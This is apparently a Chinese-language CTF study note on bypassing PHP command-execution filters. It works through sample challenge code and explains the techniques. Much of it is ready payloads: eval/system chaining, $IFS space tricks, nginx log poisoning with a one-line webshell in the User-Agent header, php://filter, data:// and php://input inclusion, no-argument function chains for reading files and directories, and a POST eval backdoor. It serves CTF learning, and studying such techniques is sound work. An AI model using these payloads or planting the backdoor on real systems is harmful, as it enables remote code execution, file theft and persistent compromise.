CTF-RCE
绕过方法
!!!整体绕过思路!!!
编码
相同功能函数 的 等价替换
通配符
添加无效字符(在执行时会被视为无效被丢弃掉的字符)输入
先绕过过滤,之后在程序执行函数执行该字符串为代码的时候再被视为无效字符被丢弃。
拼接
利用系统环境变量
利用系统环境变量中存在的变量参数,利用已存在的环境变量的值中的某一个字符(其字符串中某一个可以被利用字符,正常无法输入被过滤了的字符)
不要局限于一个漏洞类型,可用于别的漏洞类型结合利用
危险 <函数> 绕过
eval
system
` ` (反引号)
注意:并不会显示出来,需要echo
passthru
exec
exec和shell_exec需要输出命令执行结果,且exec只输出命令执行结果的最后一行。
shellexec
exec和shell_exec需要输出命令执行结果。
变量拼接
编码绕过
使用其他参数无视黑名单针对的参数进行的过滤,达到利用危险函数操作
只检查过滤了接收到的变量的黑名单,可以通过程序 GET 接收的变量去再人工 GET 一个(其实在这应该是键值对的一个键了,因为 GET 本质上是一个定义好了的 全局键值对数组 )键值,其对应的值直接是一个可以执行的危险函数利用命令,在定义进入键值对数组的过程中的同时便直接执行命令了。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在上面的这中题目中,只检测过滤了变量 $c ,我们可以利用 $c 再直接接取一个 危险键值对 ,以下这种:
?c=eval($_GET["a"]);&a=system("tac fla*.php");
!!!注意点!!!
Correct:?c=eval($_GET["a"]);&a=system("tac fla*.php");
Wrong:?c=eval($_GET[a]);&a=system("tac$IFS$9flag.php");
Right :?c=eval($_GET[a]);&a=system("tac\$IFS\$9flag.php");
在此之前我们先讲解一下 eval、system 和 passthru 函数:
为什么这里过滤了空格反而进行了绕过操作是错误的呢?
—— 因为这里针对过滤的变量是 $c 而不是我们人工接取的参数 a 。为什么这里看起来是先执行的 system() 函数直接先进的
Shell
环境没有别的条件会进行PHP
的变量验证,我们还是需要加上反斜杠 " \ " 来绕过PHP
的变量验证呢?—— 在这里强调:
?c=eval($_GET[a]);&a=system("tac\$IFS\$9flag.php");
在这段 URL 中,我们首先是
c=eval($_GET[a]);
来获取的 a ,这是一段 PHP 代码实现的,所以其实这条命令语句的执行顺序是:$_GET[a] ——> system() ——> eval()
PHP
——>Shell
——>PHP
所以其实在进入
system
函数之前我们是先经了一道PHP
代码的,进入了PHP
环境的,那进入了PHP
环境自然就会被检查是否存在PHP
变量,因此我们还是要加上反斜杠 ” \ “ 来绕过PHP
的变量验证。
配合文件包含实现绕过
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
我们通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log 结合这里的include,构造如下语句,也可以尝试先/etc/passwd,确认的确可以包含。
?c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log
使用User-Agent为,访问主页。 再去访问日志,就可以看到当前目录的文件列表了。
(上一句 ↑ 的意思大概是:包含
access
日志后审计发现access
日志竟包含了UA
头,于是再次访问主页并在UA
头的地方写上一句话木马)参考文档: https://blog.csdn.net/qq_50589021/article/details/119425888
文件包含+ PHP伪协议:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
1. Base64 - url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php (完善)
2. data 数据流伪协议 —— ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>(完善)
2.1 伪协议的 php 被过滤 —— 编码 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
3. ?c=include%0a$_GET[1]?>&1=php://input post提交数据 查看源代码被注释的flag(完善)
4.
注意!!!
无论什么执行函数当中都要用单引号或者双引号包裹命令,反引号除外,eval 也不用。
黑名单 <词组> 绕过
引号绕过 —— ' ' OR " "
单引号、双引号连着使用闭合空字符,连接成为新黑名单字符(如果是验证赋值后的变量则无法绕过,但 RCE 一般如果不屏蔽单引号双引号的话一般都是可以的)
fla''g ——> flag
变量拼接
编码绕过
通配符绕过
?
*
黑名单 <cat> 绕过手段
tac
nl
more
less
tail
head
highlight_file
highlight_file(file_name)
show_source
highlight_file 函数的别名 ——
php
官方文档如此解释。
配合 print_r(scandir('/'))
命令使用
var_dump
echo
grep
:用于搜索文件内容,配合正则表达式查找特定的源码内容。
eval("system('grep -i \"keyword\" /path/to/file');");
echo ` grep -i "flag" flag.php `
awk
:用于格式化输出文件内容,常用于数据提取和文本处理。
eval("system('awk \'{print $1}\' /path/to/file');");
xxd
:将文件内容以十六进制显示出来。
eval("system('xxd /path/to/file');");
黑名单 <空格> 绕过方法
${IFS}
passthru("tac\$IFS\$9fla*");
1> $IFS 之前必须要加一个反斜杠 ” \ “ ——> \$IFS ——> 为了防止在
PHP
环境当中就被当作一个变量被解析掉了(如果没定义$IFS
变量的话,那$IFS
就会直接被替换为空),也就是单独的 $IFS 没有加反斜杠 " \ " 会被当作PHP
的变量解析掉,无法进入Shell
环境当中转换解析为 空格 达到$IFS
来绕过过滤的空格的目的;但是如果加了反斜杠 " \ " ,那么在 PHP 代码执行的过程中 " \$IFS " 就会被视作一个普通的字符串被按照预期正确的传送进入到 Shell 环境当中去,然后被替换为 空格 达到绕过空格过滤的目的。2> 为什么一定要加 $9 呢? —— 为了确保 命令结构的完整 ,在 " \$IFS " 被传入
Shell
环境当中后,理论上会被转换为 空格 ,但是如果语句是 ” tac\$IFSfla*.php “ 的样式的话,\$IFS 不一定会被转移为 空格 ,因为 $IFS 后面有跟其他的复杂的后续命令(eg:此处的fla*.php),因此 \$IFS 可能会被Shell
环境视作为: \$IFSfla*.php 因此无法正确的被转义为 空格 ,无法绕过空格过滤;而如果在 \$IFS 后面加上一个 $9 等($1 、 $2 、$3 、 $4 …… OR $IFS(直接再写一个$IFS) ……)等等有特殊含义的(变量或其他特殊含义)事物,那么Shell
对于由这个特殊含义字符分割前的 $IFS 的转义就非常清晰了,便实现了绕过空格过滤的限制。—— 聪明的 小乔 提问了:
$IFS 转义为空格的这个过程不是:首先判断命令中是否存在 $IFS 、 $9 这样的特殊字符,如果存在转义为相应的特殊字符以后再去连接命令中的其他元素么?比如:
tac$IFSfla*.php
这一串命令当中按照正确的执行逻辑先转换 $IFS 的特殊含义 —— 空格 以后再去连接 ”tac“ 和 ”fla*.php“ 么?即:tac fla*.php
么?你上面在说些啥呢?回答聪明的 小乔 :
因为我们这种情况是在
PHP
的一个 CTF 环境题目当中,我们传入的是passthru("tac\$IFS\$9fla*.php")
,我们传入的是 \$IFS ,根据上面的知识点我们可以知道,加反斜杠 “ \ ” 是为了绕过PHP
的变量检测,不会在PHP
环境当中就被视作变量被替换从而无法进入Shell
环境当中成功转义替换为 空格 ,从而实现绕过空格过滤,但是这么做的代价就是: \$IFS 确实没有被视作一个特殊变量来看待了,而是被视作了一段普通的字符串,不只是PHP
环境当中,在Shell
当中也是,所以Shell
环境命令行当中不能 ” 首先判断命令中是否存在 $IFS 、 $9 这样的特殊字符,如果存在转义为相应的特殊字符以后再去连接命令中的其他元素。 “以这个顺序的逻辑去进行替换了,而是需要像 $9 或者 $IFS 这样的特殊变量再去进行命令结构的分隔,让命令行可以正确的分隔 “ \$IFS ” 和 ” fla*.php “,不会被视作为一个整体 ” $IFSfla*.php “,从而使 \$IFS 正确的被Shell
环境命令行识别转换为 空格 ,将命令"tac\$IFS\$9fla*.php
" 正确的转义为:” tac <空格(\$IFS)> <空字符(\$9)> fla*.php “ 即:"tac fla*.php
" 。一切都是因为:” \$IFS “ 已经不再是一个特殊字符了,而是一个普通的彻彻底底的字符串了。当然既然现在已经明白了其中的内核深层原因以后,你知道除了加上 " $9 " 以外还有什么办法来解决这个问题(” \$IFS “ 已经不再是一个特殊字符了,而是一个普通的彻彻底底的普通字符串了。)么?
—— 聪明的 小乔 :
当然! 既然本质原因是因为:
① 我们想让他在
PHP
中不被当作变量解析。② 我们想让他在
Shell
环境中还能被当作特殊含义变量识别转义 。本质原因是当他变为普通字符串的时候是彻彻底底的被当作一个普通的字符串而不是一个特殊含义字符了,那我们可以试试看是否让他变为普通字符串不那么彻底,可以试试能不能让他在
PHP
环境当作普通字符串,但是在Shell
环境当中还是可以被识别为特殊含义字符,那么可以尝试找到一种写法使其不满足PHP
环境中的特殊含义但是同时是满足Shell
环境中的特殊含义变量写法,我想到了!?c=passthru("tac\${IFS}fla*.php");
${1}
%09(不同 Linux 环境可能不同)(Tab 制表符)
%0a(回车符)
参数拼接 —— 不用
<
<>
{,}
{cat,flag.txt}
输入输出的区别:
>>和>都属于输出重定向,<属于输入重定向。
文件内容的区别:
>会覆盖目标的原有内容。当文件存在时会先删除原文件,再重新创建文件,然后把内容写入该文件;否则直接创建文件。
>>会在目标原有内容后追加内容。当文件存在时直接在文件末尾进行内容追加,不会删除原文件;否则直接创建文件。
输入重定向:
对于一般的可执行程序而言,如果需要输入数据一般是直接从键盘中获取,而使用输入重定向则可以直接从文件中获取出数据。
假设有文本文件data,需要对data文件使用example程序,只需要输入命令:
example < data
<符号是Unix、Linux的重定向运算符。对于一个可执行程序而言(如example),它并不会关心它的输入是从键盘或是文件读取,输出是输出到屏幕还是文件中,它仅关心输入流或是输出流。而重定向运算符会将(data)文件与流关联,将data文件的内容引至example程序。
这样就很好理解绕过空格的原理了。
还有一个小知识,之前我在纠结为什么ca\t或者c\at的效果和cat一样,后来经过东拼西凑的问大佬和尝试,最后总结的原因是因为在linux里面当转义符号(\)转义普通字符的时候,和普通字符原来的效果是一样的,意思就是\t和t都是t,只有在转义特殊字符的时候,才起了作用,比如\$,$则不再表示变量的意思。
这段引用信息来源于这篇文章:https://blog.csdn.net/m0_56059226/article/details/117997472
黑名单 < ; > 绕过方法
?>
?>的作用是绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
文件包含
?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
php多个伪协议
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
1. Base64 —— URL/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php (完善)
2. data 数据流伪协议 —— ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>(完善)
3. ?c=include%0a$_GET[1]?>&1=php://input post提交数据 查看源代码被注释的flag(完善)
无参数函数 - RCE
详见此文章:https://blog.csdn.net/qq_38154820/article/details/107171940
什么是无参数?
顾名思义,就是只使用 函数
,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
什么时候一定要用无参数函数解题呢?
例题
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
代码解析
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
这里使用 preg_replace
替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ” ; “
举个例子:
a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用
所以我们要使用无参数的函数进行文件读取或者命令执行
无参数函数
print_r
print_r() 显示关于一个变量的易于理解的信息。如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。
记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。
为什么不用 print 而用 print_r 呢? —— print 无法像 print_r 一样打印数组中的所有元素。
scandir
返回一个 array,包含有
directory
中的文件和目录。相对路径:
我们可以
scandir(.)
如此通过 相对路径 查看当前目录下的文件信息。绝对路径:
正常的,我们还可以用
print_r(scandir('绝对路径'));
来查看当前目录文件名。
获取绝对路径可用的有
getcwd()
和realpath('.')
。所以我们还可以用
print_r(scandir(getcwd()));
输出当前文件夹所有文件名。
localeconv
返回一个包含本地化数字和货币格式信息的关联数组。
可以查看这个计数单位数组中是否存在 " . " 来绕过过滤 ——
" . "
的这这种情况。
current
返回数组中的当前单元。
每个数组中都有一个内部的指针指向它"当前的"单元,初始指向插入到数组中的第一个单元。
综上所述,就是指向了这个数组的第一个元素。
pos
pos — current() 的别名 —— 来源于 PHP 官方手册文档解释
用于绕过 current 被过滤的场景。
reset
reset() 将
array
的内部指针倒回到第一个单元并返回第一个数组单元的值。用于绕过 current 和 pos 被过滤的场景
array_reverse
以相反的元素顺序返回数组
getcwd()
Get Current Working Directory 返回当前的工作路径的绝对路径 - 即当前文件夹的绝对路径。
realpath(.)
同 getcwd()返回当前的工作路径的绝对路径 - 即当前文件夹的绝对路径。
realpath(currrent(localeconv())) —— 过滤了
" . "
时。
构造 < . >
chr(46)
返回相对应于
ascii
所指定的单个字符。此函数与 ord() 是互补的。(此处的互补是
chr
- 显示ascii
码对应的字符 ,ord
- 显示字符对应的ascii
码)chr(46)
就是字符" . "
要构造46,有几个方法:
chr(rand()) (不实际,看运气)
chr(time())
chr(current(localtime(time())))
chr(time())
chr()
函数以256为一个周期,所以chr(46)
,chr(302)
,chr(558)
都等于"."
所以使用
chr(time())
,一个周期必定出现一次"."
localtime() 数组第一个值每秒+1,所以最多60秒就一定能得到46,用
current(pos)
就能获得"."
print_r(chr(current(localtime())));
phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
返回"."
crypt()
hebrevc(crypt(arg))
可以随机生成一个hash值,第一个字符随机是$
(大概率) 或者"."
(小概率) 然后通过chr(ord())
只取第一个字符。ps:
ord()
返回字符串中第一个字符的Ascii值
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符。
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
读取当前目录文件
show_source(end(scandir(getcwd())));
highlight_file
readfile
file_get_contents
(使用
readfile
和file_get_contents
读文件,显示在源码处)
如果要读取的文件是 scandir 的最后一个文件:
show_source(end(scandir(getcwd())));
show_source(end(scandir(current(localeconv()))));
show_source(current(array_reverse(scandir(getcwd()))));
show_source(current(array_reverse(scandir(current(localeconv())))));
如果是倒数第二个:
show_source(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(current(localeconv())))));
如果不是最后一个也不是倒数第二个:
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
array_flip()是交换数组的键和值,array_rand()是随机返回数组中的一个键
---
print_r(current(localeconv()))原数组 :Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
print_r(array_flip(current(localeconv()))) 交换数组的键值以后:Array ( [.] => 0 [..] => 1 [flag.php] => 2 [index.php] => 3 )
---
array_rand() 随机出一个数组的键。
---
...
读取上级目录文件
dirname
返回文件夹所在的上层目录
eg:文件夹为var/www/html
,执行print_r(dirname(getcwd()));
/print_r(dirname(realpath((current(localeconv())))));
返回的就是var/www
。
chdir
bool chdir ( string
$directory
)
将 PHP 的当前目录改为directory
。directory
必须为绝对路径。
查看上一级目录文件的文件名:
print_r(scandir(dirname(getcwd()))); //直接 scandir 上级绝对路径
print_r(scandir(next(scandir(current(localeconv()))))); //scandir当前目录的相对路径的上级目录 ..
查看上一级目录的文件:
如果文件在最后一个:
highlight_file(end(scandir(dirname(chdir(dirname(getcwd()))))));
highlight_file(current(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); // 反转数组
wrong:highlight_file(current(array_reverse(scandir(dirname(chdir(dirname(current(localeconv()))))))));
因为 chdir(dirname(current(localeconv()))) ——> chdir(dirname(.)) ——> chdir(.) ——> 工作目录还是当前文件夹
因为 chdir 的参数必须是绝对路径才能找到当前文件夹的上级目录。
需要注意的是有两个 dirname ,因为第一个 dirname 是被 chdir 所用过了,文件夹路径指针又跳回了 var/www/html ,需要再次 dirname 。
倒数第二个:
highlight_file(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
随机位置,不为最后一个也不为倒数第二个:
highlight_file(array_rand(array_flip(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))));
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
这种方式的优点在于 “更直观些,并且不需要找可接收参数的函数” —— 但是并没有理解透彻为何意,晚些时间补全。
如果不能使用dirname(),可以使用构造".."的方式切换路径并读取:
但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))
这里crypt()和time()可以接收参数,于是构造:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); 或更复杂的: show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))); 还可以用: show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
补全
读取上上级目录 / 目录文件
与上文读取上级目录一样的方法,多嵌套几个 dirname 即可跳转到想要上几层的目录。
读取根目录 / 根目录文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件
但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
也可以查看根目录文件,但是也会受到权限限制,不一定成功
读根目录文件:(也是需要权限)
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
构造后门
后门代码:
<?php eval($_POST[1]); ?>
补全知识点
显示文件命令配合base64编码 highlight_file(base64_decode("ZmxhZy5waHA=")); —— 绕过 黑名单(flag、php)
——>highlight_file(flag.php) —— 访问文件
利用已知的其他函数来凑出所需要的字符串来绕过
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
—— From: https://ctf.show/writeups/829616?c=show_source(scandir(getcwd())[2]);
等同于:highlight_file(flag.php)
—— From: https://ctf.show/writeups/1633662?c=$f=glob("f*");show_source($f[0]);
—— From: https://ctf.show/writeups/1614623?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
具体解释见https://blog.csdn.net/qq_38154820/article/details/107171940
—— From: https://ctf.show/writeups/1633662